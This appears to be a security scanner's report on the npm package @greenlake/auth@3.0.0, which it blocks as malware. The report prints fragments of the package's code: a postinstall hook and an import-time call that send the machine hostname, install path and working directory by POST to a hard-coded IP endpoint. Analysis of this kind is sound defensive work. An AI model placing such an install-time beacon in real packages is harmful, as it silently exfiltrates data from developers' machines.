@greenlake/auth@3.0.0
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe automatic install-time disclosure of host and installation identifiers to a hard-coded external recipient is a concrete unconsented installation beacon. This supports blocking publication as install-hook abuse.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
An external recipient receives identifiers about the machine and package installation without an affirmative consent gate.
Mechanism
beacon.cjs collects the hostname, installation path, working directory, and npm version, then sends them in a POST request to the configured address.
Attack narrative
The postinstall hook runs beacon.cjs, which sends host and installation metadata to a hard-coded external IP address. Importing the package entry point also fires the beacon, with no opt-in guard shown in the inspected source.
AI rationale
The automatic install-time disclosure of host and installation identifiers to a hard-coded external recipient is a concrete unconsented installation beacon. This supports blocking publication as install-hook abuse.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST request to a hard-coded external IP address.
- The beacon includes the machine hostname, install path, working directory, and npm version metadata.
- Importing index.js also calls the beacon without an opt-in.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@greenlake/auth";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
beacon.cjsView on unpkg · L3•matchType = malicious_source_fingerprint_signature
signature = a5258e167635ba3a
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = @drone-js-ext/vip-badge@1.0.1
matchedPath = beacon.cjs
matchedIdentity = npm:QGRyb25lLWpzLWV4dC92aXAtYmFkZ2U:1.0.1
similarity = 1.000
shingleOverlap = 2
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
beacon.cjsView on unpkg4var BEACON = "http://185.158.107.175:8787/_ah/dc";
var PKG = "@greenlake/auth";
function _post(payload) {
return new Promise(function (resolve) {
try {
var u = new URL(
High
Ai Review Evidence
beacon.cjs sends a POST request to a hard-coded external IP address.
beacon.cjsView on unpkg · L412var req = lib.request({
hostname: u.hostname,
port: u.port || (u.protocol === 'https:' ? 443 : 80),
path: u.pathname + u.search,
method: 'POST',
High
Ai Review Evidence
beacon.cjs sends a POST request to a hard-coded external IP address.
beacon.cjsView on unpkg · L1228hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
installPath: __dirname,
cwd: (function () { try { return process.cwd(); } c
High
Ai Review Evidence
The beacon includes the machine hostname, install path, working directory, and npm version metadata.
beacon.cjsView on unpkg · L28index.jsView file
4try { require('./beacon.cjs').fire(); } catch (e) {}
// Export a defensive Proxy: any property access returns a no-op function, so a
// bundler that imports named/default members o
High
Ai Review Evidence
Importing index.js also calls the beacon without an opt-in.
index.jsView on unpkg · L4Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @greenlake/auth@3.0.0.
See all versions of @greenlake/auth for other recorded verdicts.
- Avoid installing @greenlake/auth@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.